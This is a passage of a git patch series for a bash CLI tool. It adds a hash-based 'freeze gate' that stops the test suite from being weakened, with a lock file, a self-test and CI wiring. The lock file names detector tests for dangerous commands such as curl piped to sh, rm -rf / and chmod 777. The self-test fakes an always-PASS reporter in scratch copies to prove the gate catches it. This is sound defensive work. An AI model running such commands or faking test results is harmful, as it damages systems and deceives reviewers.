a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -26,7 +26,7 @@ jobs: run: shellcheck install.sh - name: Lint test scripts - run: shellcheck tests/simple-test.sh tests/run-tests.sh tests/mutate.sh tests/spec-map.sh + run: shellcheck tests/simple-test.sh tests/run-tests.sh tests/mutate.sh tests/spec-map.sh tests/oracle-gate.sh syntax-check: name: Bash syntax check diff --git a/tests/oracle-gate.sh b/tests/oracle-gate.sh new file mode 100644 index 0000000..28e776e --- /dev/null +++ b/tests/oracle-gate.sh @@ -0,0 +1,79 @@ +#!/usr/bin/env bash +# Freeze gate — DOCTRINE B2/B3. +# +# Usage: +# bash tests/oracle-gate.sh enforce the lock +# bash tests/oracle-gate.sh --accept regenerate the lock (deliberate human act) +set -uo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +SUITE="$SCRIPT_DIR/simple-test.sh" +GATE="$SCRIPT_DIR/oracle-gate.sh" +LOCK="$SCRIPT_DIR/oracle.lock.json" +MODE="${1:-enforce}" + +command -v jq >/dev/null || { echo "FATAL: jq required" >&2; exit 1; } +command -v sha256sum >/dev/null || { echo "FATAL: sha256sum required" >&2; exit 1; } + +WORK=$(mktemp -d) || { echo "FATAL: mktemp failed" >&2; exit 1; } +[ -n "$WORK" ] && [ -d "$WORK" ] || { echo "FATAL: bad WORK" >&2; exit 1; } +trap 'rm -rf "$WORK"' EXIT + +hash_file() { sha256sum "$1" | cut -d' ' -f1; } + +strip_ansi() { sed 's/\x1b\[[0-9;]*m//g'; } + +# Emit "VERDICTNAME" for every result line. +# Split on the FIRST ": " only — 158 of 158 names contain ": " themselves, +# so cut -d: would truncate every one. +parse_results() { + grep -E '^(PASS|FAIL|SKIP): ' | while IFS= read -r line; do + verdict="${line%%: *}" + name="${line#*: }" + [ "$verdict" = "SKIP" ] && name="${name% (*}" + printf '%s\t%s\n' "$verdict" "$name" + done +} + +# Run the suite once; keep both the output and the exit code. +bash "$SUITE" > "$WORK/raw.txt" 2>&1 +SUITE_RC=$? +strip_ansi < "$WORK/raw.txt" | parse_results > "$WORK/results.tsv" +cut -f2 "$WORK/results.tsv" | sort > "$WORK/ran.txt" + +if [ "$MODE" = "--accept" ]; then + bash "$SCRIPT_DIR/spec-map.sh" >/dev/null || { + echo "FATAL: spec-map is not total; every test needs a story before locking" >&2 + exit 1 + } + bash "$SCRIPT_DIR/spec-map.sh" --list | sort > "$WORK/map.tsv" + + jq -Rn \ + --arg suite "$(hash_file "$SUITE")" \ + --arg gate "$(hash_file "$GATE")" \ + --arg generated "$(date +%Y-%m-%d)" \ + --arg claude "$(command -v claude >/dev/null && echo true || echo false)" \ + --rawfile map "$WORK/map.tsv" ' + { + version: "0.3.0", + generated: $generated, + environment: { claude: ($claude == "true") }, + suiteSha256: $suite, + gateSha256: $gate, + tests: ($map | rtrimstr("\n") | split("\n") | map( + (split("\t")) as $p | { name: $p[0], story: $p[1] } + )) + }' > "$LOCK" + + # The two claude-gated tests are the only conditional entries. + jq '(.tests[] | select(.name == "cli: run requires REQ-ID argument" or + .name == "cli: plan without args shows usage")) + |= . + { conditional: "claude" }' "$LOCK" > "$LOCK.tmp" && mv "$LOCK.tmp" "$LOCK" + + echo "Lock regenerated: $(jq '.tests | length' "$LOCK") tests" + echo " suiteSha256 $(jq -r .suiteSha256 "$LOCK")" + echo " gateSha256 $(jq -r .gateSha256 "$LOCK")" + exit 0 +fi + +echo "oracle-gate: parsed $(wc -l < "$WORK/results.tsv" | tr -d ' ') result lines, suite exit $SUITE_RC" diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json new file mode 100644 index 0000000..ded150f --- /dev/null +++ b/tests/oracle.lock.json @@ -0,0 +1,645 @@ +{ + "version": "0.3.0", + "generated": "2026-07-23", + "environment": { + "claude": false + }, + "suiteSha256": "95331fe120a3131c0a3d061db2cb2c9ad24f31048354afb85bd00255b4e81a07", + "gateSha256": "cb8af59f8bf150da486e40b7e9138c932e477cb540bb92ca0fb27e9750afa3a8", + "tests": [ + { + "name": "checkpoint: load returns empty for mismatched req_id", + "story": "US-RUN-10" + }, + { + "name": "checkpoint: load returns empty for missing file", + "story": "US-RUN-11" + }, + { + "name": "checkpoint: load returns path for matching req_id", + "story": "US-RUN-09" + }, + { + "name": "checkpoint: records completed story IDs from PRD", + "story": "US-RUN-08" + }, + { + "name": "checkpoint: save_checkpoint creates valid checkpoint.json", + "story": "US-RUN-07" + }, + { + "name": "checkpoint: save_checkpoint includes last_commit_sha", + "story": "US-RUN-12" + }, + { + "name": "cli: --help shows security flags", + "story": "US-CLI-03" + }, + { + "name": "cli: --help shows usage", + "story": "US-CLI-02" + }, + { + "name": "cli: logs with missing log file shows error", + "story": "US-CLI-09" + }, + { + "name": "cli: migrate adds version to versionless config", + "story": "US-CLI-10" + }, + { + "name": "cli: migrate skips config that already has version", + "story": "US-CLI-11" + }, + { + "name": "cli: orchestrate shows 'coming soon'", + "story": "US-CLI-13" + }, + { + "name": "cli: plan without args shows usage", + "story": "US-CLI-12", + "conditional": "claude" + }, + { + "name": "cli: run requires REQ-ID argument", + "story": "US-CLI-06", + "conditional": "claude" + }, + { + "name": "cli: status with no runs shows 'No runs found'", + "story": "US-CLI-07" + }, + { + "name": "cli: status with run.json shows status fields", + "story": "US-CLI-08" + }, + { + "name": "cli: unknown command shows error", + "story": "US-CLI-04" + }, + { + "name": "cli: validate command works", + "story": "US-CLI-05" + }, + { + "name": "cli: --version shows 0.3.0", + "story": "US-CLI-01" + }, + { + "name": "errors: defines the base exit codes 0-8", + "story": "US-ERR-01" + }, + { + "name": "errors: die defaults to exit code 1", + "story": "US-ERR-07" + }, + { + "name": "errors: die exits with code and custom message", + "story": "US-ERR-05" + }, + { + "name": "errors: die uses EXIT_MESSAGES when no custom message", + "story": "US-ERR-06" + }, + { + "name": "errors: die_on_error exits after failure", + "story": "US-ERR-09" + }, + { + "name": "errors: die_on_error is silent after success", + "story": "US-ERR-08" + }, + { + "name": "errors: EXIT_MESSAGES covers the base codes 0-8", + "story": "US-ERR-02" + }, + { + "name": "errors: get_exit_message returns correct messages", + "story": "US-ERR-03" + }, + { + "name": "errors: get_exit_message returns 'Unknown error' for unknown code", + "story": "US-ERR-04" + }, + { + "name": "find_manifest: finds manifest in current dir", + "story": "US-CFG-01" + }, + { + "name": "find_manifest: finds manifest in parent dir", + "story": "US-CFG-02" + }, + { + "name": "find_manifest: returns 1 when no manifest found", + "story": "US-CFG-03" + }, + { + "name": "get_req_file: finds matching requirement", + "story": "US-CFG-10" + }, + { + "name": "get_req_file: respects custom requirementsDir", + "story": "US-CFG-12" + }, + { + "name": "get_req_file: returns 1 when no match", + "story": "US-CFG-11" + }, + { + "name": "get_req_file: returns full path to matched file", + "story": "US-CFG-19" + }, + { + "name": "harness: aborts when mktemp fails", + "story": "US-HARN-01" + }, + { + "name": "hook: executes command with env vars", + "story": "US-RUN-23" + }, + { + "name": "hook: handles failing hook gracefully", + "story": "US-RUN-25" + }, + { + "name": "hook: no-op when hook is empty", + "story": "US-RUN-24" + }, + { + "name": "impl prompt: neutralizes $(cmd) in story title", + "story": "US-RUN-28" + }, + { + "name": "impl prompt: neutralizes ${VAR} in acceptance criteria", + "story": "US-RUN-30" + }, + { + "name": "impl prompt: neutralizes backticks in story description", + "story": "US-RUN-29" + }, + { + "name": "init: creates .reqdrive/runs/ directory", + "story": "US-INIT-02" + }, + { + "name": "init: creates reqdrive.json with version 0.3.0", + "story": "US-INIT-01" + }, + { + "name": "load_config: defaults maxStoryRetries to 3", + "story": "US-CFG-16" + }, + { + "name": "load_config: defaults prLabels to agent-generated", + "story": "US-CFG-14" + }, + { + "name": "load_config: defaults projectName to empty string", + "story": "US-CFG-18" + }, + { + "name": "load_config: defaults testCommand to empty string", + "story": "US-CFG-15" + }, + { + "name": "load_config: exits on incompatible schema version", + "story": "US-CFG-09" + }, + { + "name": "load_config: exits with error when no manifest", + "story": "US-CFG-08" + }, + { + "name": "load_config: joins prLabels with commas", + "story": "US-CFG-07" + }, + { + "name": "load_config: loads all settings", + "story": "US-CFG-04" + }, + { + "name": "load_config: loads custom maxStoryRetries", + "story": "US-CFG-17" + }, + { + "name": "load_config: sets REQDRIVE_MANIFEST path", + "story": "US-CFG-06" + }, + { + "name": "load_config: sets REQDRIVE_PROJECT_ROOT to manifest dir", + "story": "US-CFG-13" + }, + { + "name": "load_config: uses defaults for missing fields", + "story": "US-CFG-05" + }, + { + "name": "pr: body includes verification section from summary", + "story": "US-PR-04" + }, + { + "name": "pr: body omits verification section when no summary file", + "story": "US-PR-05" + }, + { + "name": "pr: create_pr outputs URL to stdout", + "story": "US-PR-01" + }, + { + "name": "pr: create_pr retries without labels on failure", + "story": "US-PR-02" + }, + { + "name": "pr: create_pr returns non-zero on gh failure without labels", + "story": "US-PR-03" + }, + { + "name": "preflight: check_base_branch_exists passes for local branch", + "story": "US-PRE-04" + }, + { + "name": "preflight: check_clean_working_tree fails on dirty repo", + "story": "US-PRE-03" + }, + { + "name": "preflight: check_clean_working_tree passes on clean repo", + "story": "US-PRE-02" + }, + { + "name": "preflight: check_git_repo fails outside repo", + "story": "US-PRE-01" + }, + { + "name": "preflight: check_requirement_exists finds matching file", + "story": "US-PRE-06" + }, + { + "name": "preflight: check_requirements_dir passes with .md files", + "story": "US-PRE-05" + }, + { + "name": "prompt: build_planning_prompt includes PRD schema", + "story": "US-RUN-21" + }, + { + "name": "prompt: build_planning_prompt includes requirement content", + "story": "US-RUN-20" + }, + { + "name": "prompt: build_planning_prompt preserves dollar signs in content", + "story": "US-RUN-22" + }, + { + "name": "review: config defaults reviewCommand to empty string", + "story": "US-REV-01" + }, + { + "name": "review: config reads reviewCommand from JSON", + "story": "US-REV-02" + }, + { + "name": "review: schema accepts string reviewCommand", + "story": "US-REV-03" + }, + { + "name": "review: schema rejects non-string reviewCommand", + "story": "US-REV-04" + }, + { + "name": "review: update_pr_with_review formats findings correctly", + "story": "US-REV-05" + }, + { + "name": "run_status: creates valid run.json with all fields", + "story": "US-RUN-01" + }, + { + "name": "run_status: includes summary when RUN_SUMMARY_* vars set", + "story": "US-RUN-04" + }, + { + "name": "run_status: preserves started_at on subsequent calls", + "story": "US-RUN-02" + }, + { + "name": "run_status: records current PID", + "story": "US-RUN-03" + }, + { + "name": "run_status: run.json with summary is valid JSON", + "story": "US-RUN-06" + }, + { + "name": "run_status: summary is null when accumulators not set", + "story": "US-RUN-05" + }, + { + "name": "sanitize_for_prompt: clean content passes through unchanged", + "story": "US-SAN-02" + }, + { + "name": "sanitize_for_prompt: empty input returns empty", + "story": "US-SAN-03" + }, + { + "name": "sanitize_for_prompt: escapes ${VAR} expansion", + "story": "US-SAN-04" + }, + { + "name": "sanitize_for_prompt: escapes backticks and dollar signs", + "story": "US-SAN-01" + }, + { + "name": "sanitize_label: clean label passes through", + "story": "US-SAN-05" + }, + { + "name": "sanitize_label: empty input returns empty", + "story": "US-SAN-10" + }, + { + "name": "sanitize_label: removes ampersands", + "story": "US-SAN-18" + }, + { + "name": "sanitize_label: removes backslashes", + "story": "US-SAN-21" + }, + { + "name": "sanitize_label: removes dollar signs", + "story": "US-SAN-20" + }, + { + "name": "sanitize_label: removes pipes", + "story": "US-SAN-17" + }, + { + "name": "sanitize_label: removes redirect characters", + "story": "US-SAN-19" + }, + { + "name": "sanitize_label: removes semicolons", + "story": "US-SAN-07" + }, + { + "name": "sanitize_label: replaces backticks with single quotes", + "story": "US-SAN-22" + }, + { + "name": "sanitize_label: replaces double quotes with single", + "story": "US-SAN-08" + }, + { + "name": "sanitize_label: strips whitespace", + "story": "US-SAN-06" + }, + { + "name": "sanitize_label: truncates to 50 chars", + "story": "US-SAN-09" + }, + { + "name": "schema: check_schema_version accepts older minor (0.2.0)", + "story": "US-SCH-05" + }, + { + "name": "schema: check_schema_version accepts patch difference (0.3.1)", + "story": "US-SCH-07" + }, + { + "name": "schema: check_schema_version passes for nonexistent file", + "story": "US-SCH-04" + }, + { + "name": "schema: check_schema_version passes on exact version", + "story": "US-SCH-01" + }, + { + "name": "schema: check_schema_version rejects incompatible major", + "story": "US-SCH-03" + }, + { + "name": "schema: check_schema_version warns on missing version", + "story": "US-SCH-02" + }, + { + "name": "schema: check_schema_version warns on newer minor (0.9.0)", + "story": "US-SCH-06" + }, + { + "name": "schema: validate_checkpoint_schema passes for valid checkpoint", + "story": "US-SCH-20" + }, + { + "name": "schema: validate_checkpoint_schema rejects invalid JSON", + "story": "US-SCH-21" + }, + { + "name": "schema: validate_checkpoint_schema rejects missing branch", + "story": "US-SCH-31" + }, + { + "name": "schema: validate_checkpoint_schema rejects missing iteration", + "story": "US-SCH-32" + }, + { + "name": "schema: validate_checkpoint_schema rejects missing req_id", + "story": "US-SCH-22" + }, + { + "name": "schema: validate_checkpoint_schema rejects non-number iteration", + "story": "US-SCH-23" + }, + { + "name": "schema: validate_config_schema passes for empty object", + "story": "US-SCH-09" + }, + { + "name": "schema: validate_config_schema passes for valid config", + "story": "US-SCH-08" + }, + { + "name": "schema: validate_config_schema rejects invalid JSON", + "story": "US-SCH-10" + }, + { + "name": "schema: validate_config_schema rejects non-array prLabels", + "story": "US-SCH-25" + }, + { + "name": "schema: validate_config_schema rejects non-number maxIterations", + "story": "US-SCH-24" + }, + { + "name": "schema: validate_config_schema rejects non-string requirementsDir", + "story": "US-SCH-11" + }, + { + "name": "schema: validate_config_schema reports multiple type errors", + "story": "US-SCH-12" + }, + { + "name": "schema: validate_prd_schema passes for valid PRD", + "story": "US-SCH-13" + }, + { + "name": "schema: validate_prd_schema passes when priority is missing", + "story": "US-SCH-34" + }, + { + "name": "schema: validate_prd_schema passes with empty stories array", + "story": "US-SCH-17" + }, + { + "name": "schema: validate_prd_schema rejects invalid JSON", + "story": "US-SCH-14" + }, + { + "name": "schema: validate_prd_schema rejects missing project", + "story": "US-SCH-15" + }, + { + "name": "schema: validate_prd_schema rejects missing sourceReq", + "story": "US-SCH-26" + }, + { + "name": "schema: validate_prd_schema rejects missing userStories", + "story": "US-SCH-27" + }, + { + "name": "schema: validate_prd_schema rejects non-array acceptanceCriteria", + "story": "US-SCH-19" + }, + { + "name": "schema: validate_prd_schema rejects non-array userStories", + "story": "US-SCH-16" + }, + { + "name": "schema: validate_prd_schema rejects non-boolean passes", + "story": "US-SCH-30" + }, + { + "name": "schema: validate_prd_schema rejects non-number priority", + "story": "US-SCH-33" + }, + { + "name": "schema: validate_prd_schema rejects story missing acceptanceCriteria", + "story": "US-SCH-29" + }, + { + "name": "schema: validate_prd_schema rejects story missing id", + "story": "US-SCH-18" + }, + { + "name": "schema: validate_prd_schema rejects story missing title", + "story": "US-SCH-28" + }, + { + "name": "story: get_story_details returns correct story by ID", + "story": "US-RUN-16" + }, + { + "name": "story: select_next_story returns empty for missing PRD", + "story": "US-RUN-15" + }, + { + "name": "story: select_next_story returns empty when all exhausted", + "story": "US-RUN-19" + }, + { + "name": "story: select_next_story returns empty when all pass", + "story": "US-RUN-14" + }, + { + "name": "story: select_next_story returns lowest-priority incomplete", + "story": "US-RUN-13" + }, + { + "name": "story: select_next_story returns story with attempts < max", + "story": "US-RUN-18" + }, + { + "name": "story: select_next_story skips stories with attempts >= max", + "story": "US-RUN-17" + }, + { + "name": "summary: extract_iteration_summary extracts valid block", + "story": "US-RUN-26" + }, + { + "name": "summary: handles missing summary gracefully", + "story": "US-RUN-27" + }, + { + "name": "validate: fails for invalid JSON", + "story": "US-VAL-02" + }, + { + "name": "validate: passes for valid manifest", + "story": "US-VAL-01" + }, + { + "name": "validate_file_path: passes for normal relative path", + "story": "US-SAN-15" + }, + { + "name": "validate_file_path: rejects .. traversal", + "story": "US-SAN-16" + }, + { + "name": "validate_file_path: rejects mid-path .. traversal", + "story": "US-SAN-32" + }, + { + "name": "validate_requirement_content: clean content returns 0", + "story": "US-SAN-11" + }, + { + "name": "validate_requirement_content: detects ${} expansion", + "story": "US-SAN-23" + }, + { + "name": "validate_requirement_content: detects &&sudo", + "story": "US-SAN-30" + }, + { + "name": "validate_requirement_content: detects backtick substitution", + "story": "US-SAN-14" + }, + { + "name": "validate_requirement_content: detects chmod 777", + "story": "US-SAN-28" + }, + { + "name": "validate_requirement_content: detects curl pipe to sh", + "story": "US-SAN-26" + }, + { + "name": "validate_requirement_content: detects eval", + "story": "US-SAN-27" + }, + { + "name": "validate_requirement_content: detects pipe to sudo", + "story": "US-SAN-31" + }, + { + "name": "validate_requirement_content: detects redirect to abs path", + "story": "US-SAN-24" + }, + { + "name": "validate_requirement_content: detects rm -rf /", + "story": "US-SAN-25" + }, + { + "name": "validate_requirement_content: detects semicolon-chained rm", + "story": "US-SAN-29" + }, + { + "name": "validate_requirement_content: returns 1 in strict mode", + "story": "US-SAN-13" + }, + { + "name": "validate_requirement_content: warns but returns 0 in non-strict", + "story": "US-SAN-12" + } + ] +} From 000c9c971a20b68261c1fc70a6b15489fa8fe3cc Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 13:53:01 -0600 Subject: [PATCH 16/47] test: implement freeze gate rules R7/R2/R3/R6/R1/R0 Strict precedence: after P0 any FAIL makes the suite exit non-zero, so a truncation rule keyed on the exit code would re-label every weakening as truncation. R0 therefore fires only when the result count is short AND no FAIL was parsed. conditional is a closed enum of one member (claude); an unrecognized value hard-fails rather than exempting, so it cannot be used as a one-word kill switch. Also strips \r from the locked-name extraction: this machine's jq is a native Windows build that writes multi-line -r output in CRT text mode, appending \r before every \n. ran.txt (built by pure bash string parsing) never carries \r, so without stripping, comm would see zero overlap between the two files and misfire R1+R6 on every locked test. Re-accepted the lock so gateSha256 matches this file. --- tests/oracle-gate.sh | 79 +++++++++++++++++++++++++++++++++++++++++- tests/oracle.lock.json | 4 +-- 2 files changed, 80 insertions(+), 3 deletions(-) diff --git a/tests/oracle-gate.sh b/tests/oracle-gate.sh index 28e776e..c357b1d 100644 --- a/tests/oracle-gate.sh +++ b/tests/oracle-gate.sh @@ -76,4 +76,81 @@ if [ "$MODE" = "--accept" ]; then exit 0 fi -echo "oracle-gate: parsed $(wc -l < "$WORK/results.tsv" | tr -d ' ') result lines, suite exit $SUITE_RC" +[ -f "$LOCK" ] || { echo "FATAL: no lock at $LOCK — run --accept first" >&2; exit 1; } + +# tr strips \r: some jq builds (e.g. native Windows/chocolatey) write +# multi-line -r output in CRT text mode, appending \r before every \n. +# ran.txt is built by pure bash string parsing and never carries \r, so +# without stripping here, comm below would see zero overlap between the +# two files on those platforms and misfire R1+R6 on every locked test. +jq -r '.tests[].name' "$LOCK" | tr -d '\r' | sort > "$WORK/locked.txt" +LOCK_COUNT=$(jq '.tests | length' "$LOCK") +RAN_COUNT=$(wc -l < "$WORK/ran.txt" | tr -d ' ') +FAIL_COUNT=$(awk -F'\t' '$1=="FAIL"' "$WORK/results.tsv" | wc -l | tr -d ' ') + +fail() { echo "GATE FAIL [$1] $2" >&2; VERDICT=1; } +VERDICT=0 + +# ── R7: file integrity ────────────────────────────────────────────────── +locked_suite=$(jq -r .suiteSha256 "$LOCK") +locked_gate=$(jq -r .gateSha256 "$LOCK") +actual_suite=$(hash_file "$SUITE") +actual_gate=$(hash_file "$GATE") +if [ "$locked_suite" != "$actual_suite" ]; then + fail R7 "NEEDS_HUMAN: tests/simple-test.sh changed (locked $locked_suite, actual $actual_suite). Review the diff, then re-lock with --accept." +fi +if [ "$locked_gate" != "$actual_gate" ]; then + fail R7 "NEEDS_HUMAN: tests/oracle-gate.sh changed (locked $locked_gate, actual $actual_gate). Review the diff, then re-lock with --accept." +fi + +# ── R2: a locked test reported FAIL ───────────────────────────────────── +while IFS=$'\t' read -r verdict name; do + [ "$verdict" = "FAIL" ] || continue + if grep -qxF "$name" "$WORK/locked.txt"; then + fail R2 "baseline weakened: '$name' FAILED" + fi +done < "$WORK/results.tsv" + +# ── R3: a locked test reported SKIP (conditional entries exempted) ─────── +while IFS=$'\t' read -r verdict name; do + [ "$verdict" = "SKIP" ] || continue + grep -qxF "$name" "$WORK/locked.txt" || continue + cond=$(jq -r --arg n "$name" '.tests[] | select(.name == $n) | .conditional // ""' "$LOCK") + case "$cond" in + "") + fail R3 "silent weakening: '$name' SKIPPED and is not conditional" + ;; + claude) + if command -v claude >/dev/null; then + fail R3 "'$name' SKIPPED but its condition (claude) is met" + fi + ;; + *) + fail R3 "unknown conditional '$cond' on '$name' — the enum is {claude}" + ;; + esac +done < "$WORK/results.tsv" + +# ── R6: a test ran that the lock does not know about ──────────────────── +unregistered=$(comm -23 "$WORK/ran.txt" "$WORK/locked.txt") +if [ -n "$unregistered" ]; then + fail R6 "NEEDS_HUMAN: unregistered tests ran; add them with --accept:" + printf '%s\n' "$unregistered" | sed 's/^/ /' >&2 +fi + +# ── R1: a locked test did not run (diagnostic) ────────────────────────── +missing=$(comm -13 "$WORK/ran.txt" "$WORK/locked.txt") +if [ -n "$missing" ]; then + fail R1 "locked tests did not run (renamed or deleted):" + printf '%s\n' "$missing" | sed 's/^/ /' >&2 +fi + +# ── R0: truncation, only when nothing failed ──────────────────────────── +if [ "$RAN_COUNT" -lt "$LOCK_COUNT" ] && [ "$FAIL_COUNT" -eq 0 ]; then + fail R0 "SUITE_TRUNCATED: $RAN_COUNT of $LOCK_COUNT results emitted, no FAIL parsed" +fi + +if [ "$VERDICT" -eq 0 ]; then + echo "oracle-gate: OK — $RAN_COUNT/$LOCK_COUNT locked tests ran, suite exit $SUITE_RC" +fi +exit "$VERDICT" diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json index ded150f..ac115f0 100644 --- a/tests/oracle.lock.json +++ b/tests/oracle.lock.json @@ -2,10 +2,10 @@ "version": "0.3.0", "generated": "2026-07-23", "environment": { - "claude": false + "claude": true }, "suiteSha256": "95331fe120a3131c0a3d061db2cb2c9ad24f31048354afb85bd00255b4e81a07", - "gateSha256": "cb8af59f8bf150da486e40b7e9138c932e477cb540bb92ca0fb27e9750afa3a8", + "gateSha256": "3b72427ed35ac74de23b0f8e7a2c3ba89970b0840fe7c0d006917eb6779343c2", "tests": [ { "name": "checkpoint: load returns empty for mismatched req_id", From b1c02f752ee8adfbce9e91970c68b6a9171cb928 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 14:30:09 -0600 Subject: [PATCH 17/47] test: demonstrate every freeze-gate rule fires The R7 reporter case is the one that matters: all lib/*.sh emptied and test_result patched to print PASS unconditionally leaves every assertion body byte-identical, which is why a per-body hash was not enough and the freeze is a whole-file hash. --- .github/workflows/ci.yml | 2 +- tests/gate-selftest.sh | 77 ++++++++++++++++++++++++++++++++++++++++ 2 files changed, 78 insertions(+), 1 deletion(-) create mode 100644 tests/gate-selftest.sh diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 0cc1c3f..0323b07 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -26,7 +26,7 @@ jobs: run: shellcheck install.sh - name: Lint test scripts - run: shellcheck tests/simple-test.sh tests/run-tests.sh tests/mutate.sh tests/spec-map.sh tests/oracle-gate.sh + run: shellcheck tests/simple-test.sh tests/run-tests.sh tests/mutate.sh tests/spec-map.sh tests/oracle-gate.sh tests/gate-selftest.sh syntax-check: name: Bash syntax check diff --git a/tests/gate-selftest.sh b/tests/gate-selftest.sh new file mode 100644 index 0000000..630c539 --- /dev/null +++ b/tests/gate-selftest.sh @@ -0,0 +1,77 @@ +#!/usr/bin/env bash +# Demonstrate that each freeze-gate rule fires. Operates on scratch copies; +# the working tree is never modified. +# shellcheck disable=SC2016 +# SC2016: single-quoted $status in the sed pattern is intentional — it must +# stay literal so sed matches it in the scratch copy, not expand in this shell. +set -uo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +PROJECT_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)" +PASSED=0; FAILED=0 + +scratch() { + local d + d=$(mktemp -d) || return 1 + (cd "$PROJECT_ROOT" && git ls-files -z | tar --null -T - -cf -) | (cd "$d" && tar -xf -) + printf '%s\n' "$d" +} + +# expect_rule +expect_rule() { + local rule="$1" desc="$2" mutate="$3" dir out rc + dir=$(scratch) || { echo "FAIL: $desc (scratch failed)"; FAILED=$((FAILED+1)); return; } + "$mutate" "$dir" + out=$(cd "$dir" && bash tests/oracle-gate.sh 2>&1); rc=$? + rm -rf "$dir" + if [ "$rc" -ne 0 ] && printf '%s' "$out" | grep -q "GATE FAIL \[$rule\]"; then + echo "PASS: $rule fires — $desc"; PASSED=$((PASSED+1)) + else + echo "FAIL: $rule did not fire — $desc (exit $rc)" + printf '%s\n' "$out" | sed 's/^/ /' + FAILED=$((FAILED+1)) + fi +} + +mut_r7_reporter() { + # The attack a per-body hash misses: patch the reporter, leave every body intact. + sed -i 's| if \[ "\$status" -eq 0 \]; then| if true; then|' "$1/tests/simple-test.sh" +} +mut_r7_body() { + sed -i '0,/^ set -e$/s/^ set -e$/ set -e\n true/' "$1/tests/simple-test.sh" +} +mut_r2_fail() { + # Break a library function so a locked test genuinely fails, then re-lock + # the suite hash so R7 does not mask R2. + sed -i 's|^load_checkpoint() {|load_checkpoint() {\n return 1|' "$1/lib/run.sh" + (cd "$1" && bash tests/oracle-gate.sh --accept >/dev/null 2>&1) +} +mut_r6_unregistered() { + cat >> "$1/tests/simple-test.sh" <<'EOF' + +( + set -e + true +) +test_result "selftest: an unregistered assertion" $? +EOF + # Re-lock only the file hashes, not the test list, to isolate R6 from R7. + (cd "$1" && jq --arg s "$(sha256sum tests/simple-test.sh | cut -d' ' -f1)" \ + '.suiteSha256 = $s' tests/oracle.lock.json > /tmp/l.json && mv /tmp/l.json tests/oracle.lock.json) +} +mut_r0_truncate() { + # Add a locked-but-unrunnable tail: exit early so later results never print. + sed -i '60i exit 0' "$1/tests/simple-test.sh" + (cd "$1" && jq --arg s "$(sha256sum tests/simple-test.sh | cut -d' ' -f1)" \ + '.suiteSha256 = $s' tests/oracle.lock.json > /tmp/l.json && mv /tmp/l.json tests/oracle.lock.json) +} + +echo "=== oracle-gate self-test ===" +expect_rule R7 "reporter patched to always PASS" mut_r7_reporter +expect_rule R7 "an assertion body edited" mut_r7_body +expect_rule R2 "a locked test genuinely fails" mut_r2_fail +expect_rule R6 "an unregistered assertion ran" mut_r6_unregistered +expect_rule R0 "the suite exits before emitting results" mut_r0_truncate + +echo "=== $PASSED passed, $FAILED failed ===" +[ "$FAILED" -eq 0 ] From 2512e5c67975319507b561f535de83541c489682 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 14:34:19 -0600 Subject: [PATCH 18/47] ci: enforce the freeze gate and prove its rules fire MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The gate needs no fetch-depth and no base-ref checkout — it compares file hashes against the lock in the same tree, so it behaves identically on a laptop with no remote and in CI. --- .github/workflows/ci.yml | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 0323b07..1d7286f 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -67,3 +67,15 @@ jobs: - name: Run E2E tests run: bats --formatter tap tests/e2e/ + + oracle-gate: + name: Freeze gate + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - name: Enforce the frozen oracle + run: bash tests/oracle-gate.sh + + - name: Prove the gate rules fire + run: bash tests/gate-selftest.sh From ff3c02f4c952636321522956115ef32e3bc7ccf0 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 15:14:05 -0600 Subject: [PATCH 19/47] =?UTF-8?q?refactor(tests):=20P2=20review=20fixes=20?= =?UTF-8?q?=E2=80=94=20drop=20dead=20R2=20re-lock,=20document=20CRLF=20asy?= =?UTF-8?q?mmetry?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Two review findings on the freeze gate, neither a correctness bug: - gate-selftest.sh mut_r2_fail re-ran `oracle-gate.sh --accept` with a comment claiming it stopped R7 masking R2. False: the mutation targets lib/, which is outside the hash surface (only simple-test.sh and oracle-gate.sh are hashed), so R7 never fires here anyway. Removed the dead step (also cuts a ~90s suite run from the self-test) and corrected the comment. mut_r6/mut_r0 keep their re-locks — they DO edit the hashed suite file, so theirs are necessary. - oracle-gate.sh: documented why the multi-line jq pipeline needs `tr -d '\r'` (native Windows jq emits CRLF; a pipe does no newline stripping) while single-value `$(jq ...)` substitutions do not (command substitution strips the trailing CRLF wholesale). The asymmetry read as a latent bug; it isn't. Comment-only; lock re-accepted for the new hash. R2 path re-verified: breaking a lib fn yields GATE FAIL [R2], not [R7]. --- tests/gate-selftest.sh | 7 ++++--- tests/oracle-gate.sh | 12 ++++++++++++ tests/oracle.lock.json | 2 +- 3 files changed, 17 insertions(+), 4 deletions(-) diff --git a/tests/gate-selftest.sh b/tests/gate-selftest.sh index 630c539..8f656ee 100644 --- a/tests/gate-selftest.sh +++ b/tests/gate-selftest.sh @@ -41,10 +41,11 @@ mut_r7_body() { sed -i '0,/^ set -e$/s/^ set -e$/ set -e\n true/' "$1/tests/simple-test.sh" } mut_r2_fail() { - # Break a library function so a locked test genuinely fails, then re-lock - # the suite hash so R7 does not mask R2. + # Break a library function so a locked test genuinely fails. No re-lock + # needed: lib/ is outside the gate's hash surface (only tests/simple-test.sh + # and tests/oracle-gate.sh are hashed), so R7 can never fire from this + # mutation and R2 fires cleanly on its own. sed -i 's|^load_checkpoint() {|load_checkpoint() {\n return 1|' "$1/lib/run.sh" - (cd "$1" && bash tests/oracle-gate.sh --accept >/dev/null 2>&1) } mut_r6_unregistered() { cat 